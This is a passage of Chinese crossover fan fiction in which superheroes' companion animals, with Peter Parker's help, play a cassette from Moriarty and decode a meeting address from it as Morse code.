不过本来工作犬系的巨型雪纳瑞就比伴侣犬系的巨型贵宾看起来更凶，现在叫声差距又这么大，就将星期五身上那属于一只贵宾犬的3分可爱7分优雅衬托得淋漓尽致。 什么狼外婆。 什么黑暗中的瘦长鬼影。 这分明就是个巨大号的毛绒玩具！ 刚才还有点儿怂的塔塔都不怕了，从布莱克身上滑下来，好奇的凑到两只大狗狗面前，探头探脑的打量它们，仔细对比它们之间的不同。 还撑长脖子上去嗅了嗅。 塔塔闻到了完全陌生的气味，雪、冰冷的岩石、古旧的书页和木头的味道。 嗅闻完毕，水獭昂起头去看奇迹。 它一定来自一个非常非常遥远的地方，塔塔想着，那地方肯定是又冷，又古旧，充满了时间留下的痕迹。 奇迹矜持的一动不动，给塔塔嗅自己的爪面，而星期五则一脸嫌弃。 不仅嫌弃塔塔，也在嫌弃奇迹。 这家伙一出现就会将周围的阴沉气氛一扫而空，那些因为星期五的存在而感到紧张的人和动物也会迅速放松下来，不会再畏惧星期五黑乎乎的仿佛就是黑暗本身的模样。 这就让星期五很不喜欢了。 布莱克开口发出低呜声提问：你的孵化者是谁？ “汪。”人类叫他“奇异博士”，也叫他“医生”。 听起来也是个超级英雄。 小动物们点点头。 “喵？”这次是锈斑猫在提问：你能帮助我们找到莫里亚蒂吗？ 奇迹点了点头。 “啾啾？”小红问：你要怎么做？是要用你的能力，还是你知道他的住址？ 奇迹摇了摇头。 “汪。”我不知道他的住址，我也不知道该怎么找到他，但我们会找到他的。 而这就是它的能力了。 我是奇迹。 它是一个奇迹。 这时候其他小动物还无法理解这个名字的含义，也不懂这句话中所指的“奇迹”到底是什么，被称为奇异博士的孵化者给了它这个名字，那又意味着什么？ “喵？”你要怎么帮我们寻找莫里亚蒂呢？ 锈斑猫问。 奇迹低头看着锈斑猫。 锈斑猫不由得思考起来。 它是奇迹，所以…… 会发生一个奇迹吗？ 在它们身上？ 还是在其他的事情上？ 奇迹没有回答，只是抬爪走上街道。 星期五跟上奇迹的步伐，其他小动物互相看看，决定一起跟上去。 …… 与此同时，在贝克街221b的房间里，人类刚结束了一次讨论。 他们拉了个群聊，布鲁斯把达米安拉了进去，为华生饲养水豚和巨型贵宾提供有效的建议，斯塔克则把史蒂夫拉了进去。 史蒂夫的伴生动物也是狗，也许能给予他们一些帮助。 不过大金毛多纳滋的性格比较温和，行事也很规矩，偶尔淘气却也不会让人害怕。 至少没有像星期五那样喜欢半夜蹲人床头，还突然出现在人身后，立起身子对着人后脖子张嘴的…… 那画面真的挺渗人。 然后他们就发现小动物们不见了。 斯塔克已经变得熟练起来，立刻亮出手表，投影屏幕打开，查了一下，见自己留在锈斑猫身上的纳米病毒没有传来信号，他今天没有随身携带设备，就直接问华生借了一台电脑来用，开始骇侵周围街道的摄像设备。 很快，斯塔克找到记录布莱克追着星期五跑过街道的画面，正要继续追踪呢，灯光突然一闪，随后果断熄灭。 斯塔克愣住了，电脑屏幕也进入一片黑暗。 华生提供的是台笔记本，就算没有接入电源也有基础的续航功能，可好巧不巧，昨天华生才把笔记本带出去使用，这晚正好忘记充电。 倒是真的巧合。 布鲁斯拉开窗帘，发现外面是黑的。 整个街区都失去了电力供应。 再放眼看出去。 除了几处有着备用电源的特殊建筑，整座伦敦城都被夜色吞噬。 这竟然是一场全城性质的大停电。 夏洛克略有些疑惑，这样大面积的停电在他的意料之外，最近没什么显露在水面上的麻烦，而伦敦的电力系统让这座城不太可能在非人为的情况下陷入全程停电的状态，突发事件不像是夏洛克的老对手做的，倒更像是那些超级反派的手段。 夏洛克看向了斯塔克。 斯塔克：“……” “极端一点来说，为什么它不能是一场意外？绝对不可能？意外这种东西，就算只是亿分之一的概率也有可能发生，不是吗？” 夏洛克摇头，斩钉截铁道：“绝对不可能。” 自从这些超级英雄和超级反派陆续出现，这个世界上再没有意外。 …… ………… 黑暗突然降临，小动物们在这绝美的保护中移动，没有人会注意到它们。 六只小动物中至少有五只对停电毫无感觉。 它们的夜视能力都还不错，锈斑猫和布莱克在晚上的视野比白天更加清晰，唯一一个稍有些夜视障碍的小红早就落在塔塔怀里，塔塔又趴在布莱克的背上，看不清楚也没什么关系，它都没注意周围什么时候黑的。 只有奇迹回了一下头，看向夜空。 没了地上的灯火，天空中便亮起无数星光。 “嘤叽！”好看！ 塔塔也注意到头顶上的变化，快乐的叫着。 城市里出生的动物一辈子都见不到属于星星的光芒，地面上明亮的灯火会遮住人的双目，让他们看不见来自天上的光。 接下来的路，奇迹加快了脚下的步子。 当一只大型动物决定大步流星的跑起来，像锈斑猫这样小体型的生物无论如何都无法追上，布莱克特意慢了一步，刚好够锈斑猫改变方向，纵身跳上它的后背。 三只大型动物就这么在伦敦城中漫无目地的跑了起来。 大约十几分钟后电力恢复。 而在那前一瞬，它们都看到了那栋建筑，矮矮的，只有一层，并不是什么特殊建筑，却在用储备电源发电来维持房间内的照明。 当然，这样的建筑不是没有，除这里之外还有几户人家也亮着灯，这栋建筑也只是比那些看着更老旧，更不起眼，更没有活人的气息罢了。 可奇迹选择往这个方向来，星期五就知道，这里一定会是它们的目的地。 星期五直接钻了进去。 黑雾融入墙体，穿透它，又在内部凝聚成型。 奇迹主动向其他小动物介绍：这是星期五的能力，午夜狼外婆，它是午夜时分，悄悄来到孩童床边的无名阴影。 考虑到这就是星期五遇到阻碍时就会自行发挥的本能行为，奇迹认为这应该是属于某种不需要主动控制的被动能力。 “嘤？”那它召唤你的那一招，就是主动技能咯？ 塔塔歪着头问。 得到肯定的答复后水獭开始思考自己的情况。 亲和力（魅惑）肯定是被动技能了。 那么主动技能就是……塔塔冲击——））） “嘤嘤？”你们呢？ 塔塔在好奇。 其他小动物互相看看。 小红歪头思考：“啾？”我是通讯兵？ 那算是主动技能还是被动？ 小红又认真的想了想，啾道：应该是主动技能吧。 至于被动方面，小红猜测自己的被动技能应该是夜视能力。 若不是技能加持，它如何才能在哥谭的夜空中自由翱翔，要知道隔壁纽约的哈瑞肯还是只猛禽红隼呢，都没办法在黑夜里随心所欲。 你们两个呢？ 塔塔眨巴着大眼睛，好奇的看向锈斑猫和布莱克。 “喵。”脑力。 这大概是锈斑猫最明显的特点，自然也是它的被动技能，而在这之外，锈斑猫没发现自己还有什么特技，因此只是摇了摇头。 布莱克没有参与这个话题。 并没有特别的理由，蝙蝠侠观测到的第一只有明确能力的伴生动物是塔塔，在那之前蝙蝠家的人对伴生动物是否拥有特殊能力根本没有概念，自然也不会进行研究，更没机会叮嘱几只小动物对自身的能力进行保密。 布莱克并非不想说出来，它只是不知道。 这时塔塔为它提供了一个可能性：“嘤~叽？”你不会被塔塔吸引哎，这算不算是一种特殊的被动技能？ 算么？ 布莱克也不确定。 它倒是觉得那只是因为塔塔长的太像它的晚饭，诱惑是有的，不过针对的是它的肚子，而不是脑子。 塔塔：不赞同的眯眯眼。 锈斑猫：不赞同的眯眯眼。 小红：不赞同的眯眯眼。 奇迹：不赞同的眯眯眼。 布莱克：…… “哇嗷？”你们要不要这么整齐？【你现在阅读的是魔蝎小说 moxiexs】 22、第二十二章 黑色的大美洲豹被它们整齐划一的盯着，耳朵都背得不见踪影，它想看回去都不知道盯谁，干脆扭头看向旁边的地面，脸上摆出一副与我无关的态度。 它这副模样让奇迹看着新奇，就多盯了一会。 锈斑猫则跳上布莱克的脑袋顶，左边来两口，右边再来两口，强行将布莱克的耳朵舔了出来，布莱克被它舔的耳朵发痒，又连着抖了好几下。 奇迹可以让它们快速找到目标，而星期五则不被人类制造的墙体限制。 这次行动虽然召集了六只小动物，可到达目的地后又不需要它们做什么，在外头等待的几只小动物就有些无聊，各自扒拉耳朵的疯狂扒拉耳朵，昂头看天发呆的专心发呆。 锈斑猫探头看着塔塔疯狂挠头侧，怀疑塔塔是游泳时耳朵进水发炎了，它在人类的文献上读到过那个，好像是叫……中耳炎？ “喵。”少下水，水里不安全，还会得中耳炎。 塔塔抗议起来：“嘤……！”人家是水獭，哪里会因为游泳就得中耳炎！ 水獭不理解猫猫为什么不喜欢水，猫猫也不理解水獭为什么这么喜欢水。 最终，它们一起看向布莱克。 布莱克：……看我做什么？ 这和自己有什么关系？ 布莱克也不理解这两只的脑回路。 作为一只美洲豹，理论上它只有在水下有鳄条的时候才会下去，捕猎完毕就会立刻上来，问它喜不喜欢水？ 布莱克哪里知道那个，严格来说它都没下过水呢。 只能说从血统来判断，它对水是不讨厌的，却也没有特殊兴趣。 “哇呜。”水里不是幼崽该去的地方。 十几秒的思考后布莱克提供出自己的答案。 “嘤！”塔塔立刻举爪：我成年了！ 锈斑猫则露出怀疑的目光。 可话又说回来了，不管塔塔成年与否，也不该是锈斑猫来负责它，要知道锈斑猫才是复仇者联盟的众多伴生动物中年纪最小的那个，论起来应该是塔塔在照顾锈斑猫才对。 可锈斑猫就是将这只比自己还大只的水耗子视为自己的职责，跟在后面盯着，生怕它出什么事情。 奇怪的很。 旁听的小红探出脑袋，好奇的问锈斑猫：“啾啾？”你成年了么？ 锈斑猫：当然！ 它们沉迷聊天的时候，奇迹抬头看向夜空。 时间过去不少，它的兄弟还没有出来。 星期五久久未归，奇迹不打算继续等下去了。 它的孵化者曾经说过：若你对明日感到迷茫，不如时时跟随自己的内心。 而奇迹总是对未来充满迷茫。 虽然孵化者有时候神神叨叨的，总是说些不明所以的话，奇迹大部分时候都无法理解那个被叫做“奇异博士”的会浮空还会长出七手八脚的人类，不过可以确定的是，当那个人类特别专注认真的时候，他做的决定不会有错。 跟着自己的内心走吧。 奇迹走到月光清晰的位置，昂头发出一声悠长的狼嚎声。 这是星期五召唤奇迹时展露的技能，没想到奇迹居然也会这个，而它所召唤的，自然是它的影子——星期五。 顺应来自奇迹的召唤，星期五从影子里缓缓走出。 先是脑袋探出来查看，然后前爪搭上地面，星期五的姿态就像是从一个矮一点的地方爬上来那样，后腿似乎在大家看不到的黑暗下方用力一蹬，然后它整只就跳了上来。 嘴里叼着一个磁带。 星期五疑惑的看着奇迹。 “呜汪。”这不是我要的东西。 这个磁带才不是莫里亚蒂。 奇迹摇了摇头，轻声汪着告诉它：这是。你的愿望从不是攻击莫里亚蒂，只是想要保护夏洛克·福尔摩斯，不是吗？我想这个东西足够你达到那个目的了。 星期五依然不明白，并且反驳了奇迹：“汪！”我没有！ 奇迹好脾气的让了一步：嗯，你只是想帮约翰·华生。 星期五：…… 狼外婆气坏了。 它依然没有表情变化，气场似乎也没有改变，所有的小动物还是感觉到了它的猎杀本能已经被调动。 这时候星期五特别想咬奇迹的后脖子。 它想进行一场捕猎。 奇迹却不怕它。 谁会害怕自己恼羞成怒的兄弟呢？ 两只狗对视片刻，星期五先偏开了视线，然后昂了一下头，大概是在问自己嘴里叼着的磁带怎么处理。 磁带需要播放，当然是去找一个播放它的东西。 其实221b里就有星期五需要的东西，只是星期五不想被夏洛克横插一脚，它想自己解决这个问题。 “汪？”星期五问自己兄弟：你的奇迹能解读这个磁带里的内容吗？ 奇迹摇头：你不需要那个奇迹。 星期五脑袋上仿佛冒出一个问号。 无聊到在塔塔头顶蹲着打瞌睡的小红张开眼睛，它长大鸟喙打了个大大的哈欠，又抖了抖毛让自己清醒。 “啾~”我知道哪里有那个~ 小红清楚的记得提米的安全屋里就有一个可以用来播放磁带的机器，样式古老，似乎是个收藏品，小鸟不知道什么是“收藏品”，只知道那东西仿佛特别好的样子。 不过那是提米的安全屋，小红不能带它们去，播磁带的那东西又十分笨重，比小红大了好几倍，它是绝对提不动的，只能歪头看向布莱克。 布莱克颔首同意，跟着小红去取东西。 这大概需要半个小时的时间。 期间其他小动物负责寻找一个合适的地方，用来播放磁带。 塔塔有些担心：“嘤叽？”小红它们还能找到我们么？ 奇迹：能的。 虽然不清楚那是为什么，但既然奇迹这样说了，就证明血雀和黑色美洲豹一定能和它们汇合，星期五不再操心那两只动物的事情，开始琢磨在哪里播放磁带比较合适。 首先是隐蔽的地方，至少要是一间房间，而不是直接在街头巷尾。 或者，至少是个人迹罕至的街头巷尾。 这可有点难办，小红它们去取播放器的地方理论上就行，可小红明显不想让太多小动物同行，它们需要另寻他处。 锈斑猫和塔塔是纽约来的，在这里肯定没有足够合适的落脚处，星期五又拒绝回到221b处理磁带，这可难办了。 塔塔冥思苦想，就在它开始认真考虑用自己的魅力向任一一户人家借用客厅的时候，一道金色光芒突然出现，在它们身侧划出了完美的圆。 是玄戒开启的任意门！ 塔塔一眼认出这个，是内德！ 门后面的内德：“哦哦哦我找到塔塔了！” 彼得看着对面那一帮小动物就是一愣，但塔塔已经冲过传送门，一头撞到彼得怀里，彼得条件反射的将塔塔抱住。 锈斑猫是第二个穿过传送门的，它后面跟着那两只黑透了的大型犬科。 “哦……嘿、你们……”都是谁？ 彼得环视一圈，先跟锈斑猫打了招呼，又多看了奇迹一会，最后将视线落在星期五身上，前不久就是这家伙带走了塔塔，现在它们居然还在一起。 “你的……朋友？”彼得将塔塔举起来。 “嘤嘤嘤~！”是的哦！都是塔塔的好朋友！ “汪。”我是奇迹，奇异博士的伴生动物。 奇迹自我介绍，顺便介绍了一下星期五，它没有提221b或者夏洛克·福尔摩斯，只是告诉彼得说这是自己的兄弟。 能听懂，它们也是伴生动物，而且还是奇异博士的伴生动物。 彼得一边思考着“一个人能有两个伴生动物吗？”的问题，一边拿出纸杯给它们每个倒了杯水，他始终将塔塔当成和自己等同的智慧生命来看待，而不是单纯的附属品，自然也将塔塔的朋友视为真正的访客。 奇迹和星期五都低头舔水，塔塔也在吨吨吨，只有锈斑猫对此毫无兴趣。 此时所有小动物都坐在地板上，彼得干脆也盘腿坐下。 这时候内德就觉得自己屁股下面的椅子坐起来不太舒服了，干脆也往地板上一坐，还把怀里的薯片塞给了塔塔。 “所以，这是怎么回事？”内德问彼得。 彼得这才想起内德没有伴生动物，听不懂小动物们刚才说的什么，于是开始介绍：“这些是塔塔的朋友，锈斑猫是斯塔克先生的猫，这只是奇迹，是奇异博士的狗，边上那只叫做星期五，是奇迹的兄弟。” “哇哦……”内德有点反应不过来，不过还是做了介绍，“内德·利兹，奇异博士的，呃……” 内德卡住了。 他和奇异博士应该算是有点关系的，其实又没有。 他只是有魔法天赋，然后被奇异博士送去圣所，就这么在上学和陪彼得做蜘蛛侠的间隙里学习魔法，和奇异博士其实是零交流的状态。 所以他们是…… 呃…… 同门？ 好在奇迹似乎知道内德这个人，友善的对他点了点头，然后看向彼得，轻微的晃动尾巴，邀请彼得做自己的翻译。 因为某几次对未来的推演，奇异博士对蜘蛛侠的好感度还不错。 奇迹也听过一些关于彼得的事情。 彼得和狗狗对上视线。 好吧，我也是狗狗翻译官了。 彼得想起提姆吐槽过达米安的事情，有一个动物语言翻译员的弟弟让提姆十分痛苦，主要是大部分时候提姆都分不清达米安到底是真的在翻译，还是在嘴臭，借着翻译的名义吐槽他人。 奇迹又汪了两声，开始说事情。 彼得立刻清了清嗓子，跟着翻译：“它说它听过你。” “你很有天赋，也因此需要更加小心，那些黑暗中的视线……” “它说……它说我们两能共同到达的未来很狭窄，需要一点……奇迹……” 彼得越说越慢。 他觉得有点儿奇怪。 奇迹这话，像是在说给他听。 “但它会……来的……”【你现在阅读的是魔蝎小说 moxiexs】 23-30 第23章 彼得想不通自己和内德以后会发生什么,他们是好朋友，应该是一辈子的那种，在内德还是个普通人的时候彼得就和他分享蜘蛛侠的秘密身份,虽然曝光并非自愿,内德却用行动证明他是个可靠的伙伴。 什么事情能让内德与他的关系不再？ 彼得的第一个念头就是他或者内德会死一个。 希望是我。 对不起斯塔克先生, 但真的希望是我。 彼得闭上眼,他想着这件事情,又忍不住去问奇迹：“奇迹,那是你么？我是说,你刚才说我们需要一个奇迹？” 奇迹却不接这话了。 彼得也不勉强，转而揉了揉塔塔,问它们在玩什么？ 塔塔在彼得怀里扭动着,哼唧两声,看向星期五。 星期五略微点了一下脑袋，示意不必隐瞒，关于磁带也好,莫里亚蒂也好，其实它都无意隐瞒，前提是透露对象不能是夏洛克，以及华生，不告诉华生主要是因为华生在夏洛克面前毫无秘密。 于是塔塔开始跟彼得叭叭：“嘤嘤嘤——！”我们要去打倒莫里亚蒂哦！ 而且我们已经找到了一个关键道具！磁带！ 水獭嘤嘤叫着，撒娇的同时前爪一摆，指向星期五。 刚才星期五喝水的时候暂时将口中的磁带放在脚边,现在正用一只前爪压着，明显不放心交给别人的样子。 奇迹就凑上去,温柔而不容拒绝的将星期五蹭开少许，正好露出那卷磁带。 它张口叼住,将磁带送到彼得的手上。 星期五：…… 不高兴的呜呜。 看它这么不乐意，彼得将磁带还给了星期五。 “抱歉，我就是好奇一下，你自己收好哦。” 彼得可不会为难一只小动物，这行为无疑收获了星期五的好感，它看着这只人类，体态都变得放松了很多。 眼前这画面实在难得，彼得忍不住拿出手机，又翻出蜘蛛头罩简单挡住自己的上半张脸，随后转身背对小动物们，利用自拍杆举高了手机，他将小动物们收纳在背景中，以自己的脑袋为前景，镜头对焦在前景上，这样后面就虚化了很多。 嘿。 其实彼得经常这样“拿到”“自己”的“好兄弟”蜘蛛侠的自拍或者其他角度的照片来换小钱钱呢。 这点上他跟大都会的超人同学真是不谋而合。 在将照片发去报社之前，彼得先将它发给了自己最近认识的一个怪里怪气满口脏话神经兮兮有时候还会对着空气讲一些“哔——”、“哔哔——”的家伙。 很快对方回复：【小叽居你是（哔——）的在逃公主嘛？ ！ 】 然后又紧跟了一条：【 oops ，不能这么说，会有版权问题的】 附带个嘻嘻不嘻嘻再继续嘻嘻的表情包。 彼得：“……” 这家伙真的好怪！ 【不过哥在这好像也有版权问题，所以，哥先溜啦！ 】 最后一条短信的内容更是奇怪。 彼得挠了挠头。 “嘤嘤？”塔塔好奇的探头：是那个需要被报警抓起来的怪蜀黍吗？ “他不是怪蜀黍……”彼得无力解释，emmmm的糊弄过去，“他只是性格比较特殊，而且我们相处的不错，很有话聊。” 两个话痨凑一起，能不有话聊嘛。 塔塔砸砸嘴，还是觉得应该报警才对。 旁边内德正在翻三人的零食库存，彼得、内德和提姆一起住这一间，零食也是屯在一起的，其中主要是内德的零食，主要也是内德在吃零食。 他翻了一圈下来也没找到适合小动物吃的，就去掏自己的钱包。 “彼得，我去买点火腿肠什么的回来。” 内德想要好好招待一下小动物们，主要是两只大狗，它们那个体积，看起来都能吃人了好嘛！ 也幸好是布莱克没在这边，不然内德估计会不安到坐如针毡的。 一心让大狗狗吃饱的内德不仅买了火腿肠，还是超级大号的熏肉火腿，正常是切成圆片放在面包或者汉堡里的，现在一整根放在星期五和奇迹面前。 两只狗低着头看着自己面前的盘子，和盘子里的大火腿肠，齐刷刷的陷入沉思。 它们其实并不饿，锈斑猫看着内德给自己倒的牛奶陷入沉默，塔塔则在快乐的啃小鱼干。 就在这时，塔塔隐约听到自己脑子里多了一个声音。 “塔塔！” 好像是……小红的声音哎！ 塔塔能听出小红并不慌乱，只是深感苦恼。 而且小红发出的不是鸟叫，是很精准的人类发音，它们好像在直接用脑电波交流哎！ 这感觉实在是好玩，塔塔直接立了起来。 “嘤嘤？”小红？ “塔塔，你的孵化者是不是能飞檐走壁来着？” “嘤！”可以的哦！ “让他到我们这边来，我们需要去二十六楼，但是布莱克上不去，那个播放器太沉了，我没办法带着它一起飞下楼。” “嘤！嘤嘤？”好哦！但是你们在哪里？ 小红很快报了一串地址过来。 塔塔立刻扑到彼得身边，抱住彼得的小腿，将这个地址告诉一脸懵逼的彼得。 “嘤~”我朋友有麻烦啦~呼叫蜘蛛侠~~~ 快乐~ 正想问塔塔在那自言自语什么的彼得暂时将对于自己秘密身份的担忧放在了一旁，听到塔塔的朋友有危险，彼得立刻行动起来。 “你们呃，在这里吃饭，自在一些，我临时有点事情。” 说着彼得向内德使了个眼色，抓起专门用来装蜘蛛侠制服的那个包，搂着塔塔就夺门而出，内德秒懂，急忙开始胡编乱造借口为彼得打掩护。 虽然…… 这次的解释对象是一群小动物。 看着两只坐着比自己坐着还高的大狗，和一只仅有自己巴掌大的猫，内德心里面条泪：彼得，你快点回来，我搞不定啊啊啊。 彼得却听不见了。 走廊并不安全，彼得选择钻入安全通道内，在确定塔塔的朋友需要的是高空支援后，他快速更换了蜘蛛侠制服，随后一路向上来到天台，再从这里纵身而下。 红色的蜘蛛带着他的水獭向下坠落。 “嘤嘤？”怎么不穿托尼尼给你的纳米制服呢？ 水獭扒在彼得肩膀上问。 彼得不知道怎么回答塔塔的问题。 他射出蛛丝，强大的拉力止住他们的下坠，恰到好处的角度让他们能靠着惯性再次高高的荡起。 摇到至高点的同时，彼得甩开蛛丝，并在下坠的过程中射出下一股。 “我不能一直穿着斯塔克先生的纳米制服嘛。” 为什么不行呢？ 而且那不是托尼尼的纳米制服，是托尼尼送给蜘蛛侠的，蜘蛛侠的纳米制服呀？ 小小的水獭无法理解人类成长中那些复杂的情感变化，以及自我证明的过程中那些繁琐又重要的小事。 不过那不重要。 塔塔抱住彼得的脖子。 反正，塔塔会一直在彼得的身边。 无论穿不穿蜘蛛侠的制服，无论穿的是什么样的制服，那都不重要。 “嘤叽！”其实那家伙说的对！ “嗯？” “嘤嗯嗯——”塔塔是彼得的骑士！彼得是公主殿下！ 彼得：…… 彼得三心二意，一边用蜘蛛丝在伦敦的夜空里上下翻飞，一边向塔塔解释，关于“公主”这个称呼一般属于女性，男性一般叫“王子”的事情。 虽然偶尔也会有不同性别来回使用这两个称呼的时候，可那是特殊情况！ 彼得表示自己不适用。 塔塔似懂非懂，不过还是乖乖点头。 就好像不能告诉星期五、奇迹、小红和布莱克“蜘蛛侠就是彼得”一样，塔塔不明白为什么要隐瞒，却依然会为彼得守口如瓶。 “嘤叽！”这是彼得的好朋友，蜘蛛侠！ 塔塔是这么介绍的。 看起来塔塔的朋友们并没有遭遇生命危险，只是遇上一些困难，这也算是个好消息，彼得放下心来，挥舞手臂，热情的和它们打招呼：“嘿，你们好。” 和自己的孵化者一样早就知道彼得·帕克就是蜘蛛侠的小红和布莱克：…… “哼……”布莱克发出某种暧昧的声音，让人听不出它的想法。 像是在哼笑，又像是在评判什么。 小红则决定跳过这个话题，愉快的和彼得打招呼后它就振翅飞起，在高处为蜘蛛侠指路：“啾啾！”往这边来，这个窗户没有上锁，从这边进去就可以了。 二十六楼对彼得来说和地面也没有太大区别，他攀爬而上，说是如履平地也不算过分。 很快彼得就找到了小红降落的那个窗台，翻进去，落地站稳的时候，彼得问小红：“你的饲主，他会同意这个吗？” “啾~”没关系的哦，他说过如果有需要，我可以来这里避难。 嗯……也就是说，小红的孵化者并未承诺，如果有需要，小红可以自行决定是否将带其他人进来。 根据小红的指引拿到磁带的播放机时，彼得一边感叹这个磁带机的古老，一边思考自己这到底算不算入室盗窃。 允许它来，并不意味着它拥有带人来的权利。 更不要说再从这里拿走一件东西。 这是人类社会的默认规则，但对于小动物来说，还是太复杂了。 彼得想了想，在离开前留下一张纸条，上面简单说明了发生的情况，并表示如果需要赔偿或者协商，可以往自己留下的邮箱里送信。 电子邮箱地址是匿名建设的，名义上它是蜘蛛侠的电子邮箱。 这方法还是彼得和塔塔一起嘀咕出来的。 有一天塔塔好奇，如果有人想找超人，他可以大喊，如果想要蝙蝠侠，可以打灯，想找钢铁侠也容易，斯塔克大厦兼职复仇者大厦可是纽约的地标建筑，就算是当时找不到人，也有很大机会得到帮助。 但如果一个人想要找蜘蛛侠呢？ 总不能在皇后区的街头蹲着昂头看天苦等吧？ 所以彼得决定设定一个电子邮箱，如果有人想要找蜘蛛侠求助，可以使用它。 看，这不就用上了？ 希望它收到的第一封邮件不要是律师函。 彼得闭眼祷告，然后夹着磁带机从二十六楼纵身跃下。 第24章 有了磁带机,它们可以播放那卷磁带了，彼得抱着塔塔先一步往回，小红和布莱克在得到地址后慢悠悠的走在后面。 跟太紧了不行的, 彼得会没时间脱蜘蛛侠的制服。 等回了酒店, 彼得换好衣服回到房间。 房间里内德在耍手机,锈斑猫趴在放装饰品的架子顶端,居高临下窝着休息,两只大狗则叠在一起睡成一个巨大的黑球,彼得进来的时候也只有星期五抬头看了他一眼。 “你回来了！”内德开心坏了。 彼得掏出带回来的零食安慰一下小伙伴,随后将磁带机推到星期五面前。 “蜘蛛侠，呃, 我的朋友, 他让我把这个交给你。” 星期五点了点头, 嗅了嗅磁带机，有些疑惑，这上面没有第二个人类的味道, 奇迹没有反应，锈斑猫则打了个大大的哈欠。 人类啊，真是玩不腻双重身份的游戏。 星期五摆弄着磁带机，并不着急现在就播放磁带，而是等到布莱克和小红都回来了。 彼得暗戳戳的怼了怼塔塔。 塔塔：…… 水獭营业似的立了起来：“嗯……嗯叽！”嘿，这位是彼得·帕克，也是我的孵化者,他是蜘蛛侠的好朋友，所以有时候我会跟着蜘蛛侠一起玩,这没什么奇怪的哦！ 捧读。 小红&布莱克：…… 嗯嗯嗯，好好好…… 人类啊, 真是玩不腻双重身份的游戏。 捧读完毕后塔塔挠了挠头。 嗯…… 这可比塔塔冲锋难多了。 这时锈斑猫从高高的架子顶端跳下来，落在柔软的床面，再跳到地面，然后来到星期五面前，它昂着头对着星期五喵了一声：磁带播放器已经拿来了，那就开始播磁带吧。 不要再把注意力放在尴尬的身份问题上了。 这是个好主意，获得了小红和布莱克的一致认同。 于是小动物们排排坐，小红站在前面，边上坐的是锈斑猫，后面是侧身趴着的塔塔，再往后是两只大狗和布莱克。 人类和那三只黑到哑光的家伙算作一排。 其中彼得坐在奇迹边上，靠着床，而内德就临着彼得坐在床沿。 因为狗嘴不够灵活，塞磁带的工作交给了塔塔。 水獭从星期五的口中接过磁带，抱着跑过去，塞进磁带机，推上开口，然后按下总开关，再来是播放按钮。 “嗡嗡——” 磁带转了起来。 “我将烹熟你的五脏六腑，夏洛克，让我教会你何为心如刀绞……” 磁带里的声音因为间歇性出现的噪音显得诡异阴冷，时不时还会不自然的卡顿，让它听起来非常扭曲，像是个极端恶毒的诅咒。 塔塔冷不丁的就是一个激灵，扭头钻到彼得怀里去了。 “来吧，夏洛克，别害羞。我欠你一次坠落。” “永远的坠落。” 星期五站了起来。 把床上的内德吓得也跟着站了起来。 彼得也算是见识过大风大浪的成熟超级英雄了，他伸手将小伙伴拉下来，让内德坐回原位，然后问： “他要怎么做到那个？” 看星期五的架势，它明显是知道什么的。 星期五沉默的盯着磁带机，盯到小红都怂了，飞过去落在磁带机上打开翅膀，软乎乎的鸣叫：“啾啾……”你不能拿这个撒气，这个超级贵而且没有第二个了。 而这事情最大的问题，在于它似乎并不属于超级英雄的管辖范围。 一个侦探顾问，一个犯罪顾问。 这是他们两个的智慧对决。 牵扯到无辜的人，超级英雄受到求救当然可以救场，可目前来看莫里亚蒂的阴谋尚未展开，在此强行让各种超能力横插一脚，也没办法把莫里亚蒂送进监狱。 锈斑猫和布莱克对视一眼，布莱克轻微的摇了下头。 磁带已经播放结束。 它们得到的信息却十分有限。 塔塔重新在彼得怀里放松下来，瘫成一张獭饼，抬着爪子左右晃，异想天开：“嘤叽？”他对那个叫做夏洛克的人类好执着啊，如果世界上没有夏洛克，他是不是也不会存在了？那只要夏洛克放弃做侦探，他就只能无聊死了吧？ “……” 不得不说，是个好主意。 只是没有可行性。 夏洛克·福尔摩斯如果不做侦探…… 星期五设想了一下，摇头。 那样的夏洛克，只会成为比莫里亚蒂更麻烦的存在。 他还是做侦探吧，至少维持现状，夏洛克大的祸害对象基本限制在华生和雷斯垂德探长，再加上一个夏洛克的亲哥哥，麦考夫·福尔摩斯。 彼得抱着塔塔，对着磁带犯了难。 侦探和罪犯的智慧对决什么的，蜘蛛侠是真的帮不上忙啊…… 布莱克打了个哈欠。 他抬起爪子，开始在地板上挠出大写字母。 一个一个拼写成单词。 彼得探头一看，居然是组地址和日期。 “哪来的？”内德有些懵。 布莱克就简单解释：卡顿视作短音，噪音视作长音，摩斯密码。 谁还不是个侦探呢？ 蝙蝠侠也是侦探出身，又日常跟谜语人等超级反派猜谜，作为蝙蝠侠的伴生，布莱克耳渲目染，学的飞快。 而同样是侦探的伴生动物，星期五则更擅长观察法，加密信息相关的东西在福尔摩斯的日常生活中其实比较少出现，福尔摩斯当然也会，只是星期五还没遇到对方展示这方面才华的机会。 星期五低头看着那组地址和日期，地址是个房顶，日期则还早。 “看来是莫里亚蒂约了福尔摩斯先生在这个时间点去这处地方见面。”彼得挠了挠头，觉得这事情好办，也可能很难办，他问星期五：“你是希望阻止他们两个见面，还是……” 要解决掉莫里亚蒂呢？ 星期五当然是要解决莫里亚蒂。 那个人简直就是阴魂不散，也许夏洛克本身对莫里亚蒂的存在是很感兴趣的，毕竟那是个难得的对手，可其他人呢？ 华生、房东太太、探长和其他无辜的受害者…… 在需要等待莫里亚蒂先行出招的情况下，夏洛克没办法从莫里亚蒂手下保护所有人，他只能保护自己周围的那几个罢了。 并且那所谓的保护，也仅是活着而已，期间受到的惊吓和伤害皆无法避免。 星期五哼出声音。 漆黑的巨型贵宾绷紧嘴皮，龇起獠牙，宛若恶魔。 它要咬死那个人。 要让他死的透透的，最好吃掉肉，再融去骨头，没有任何诈尸的可能。 彼得：…… 倒也、倒也不必如此？ “送去监狱不行吗？”内德结结巴巴的问。 星期五冷笑。 人类的监狱可关不住莫里亚蒂这一类的人。 它看向布莱克。 这点布莱克倒是十分清楚，哥谭的监狱也关不住那些有钱有权有人脉的疯子。 但这件事情，和彼得是很难讲清楚的。 彼得还没看过那么多黑暗，也不知道真正的成年人的世界是多么的扭曲，有那么一部分人，他们只以自身利益为最大目的，当他们需要法律的保护，那么法律就是有效的，当他们想要去更高的地方，法律就只能被他们踩在脚下。 死了的坏人才是最有价值的。 星期五对彼得低声呜噜：这事情没那么简单，莫里亚蒂手上有一个特殊的东西，据说能打开世界上所有的门。 “打开……什么？”彼得被说的愣住了。 星期五摇头。 其实它也不是很明白，只知道就是因为这个东西，夏洛克无法摆脱莫里亚蒂。 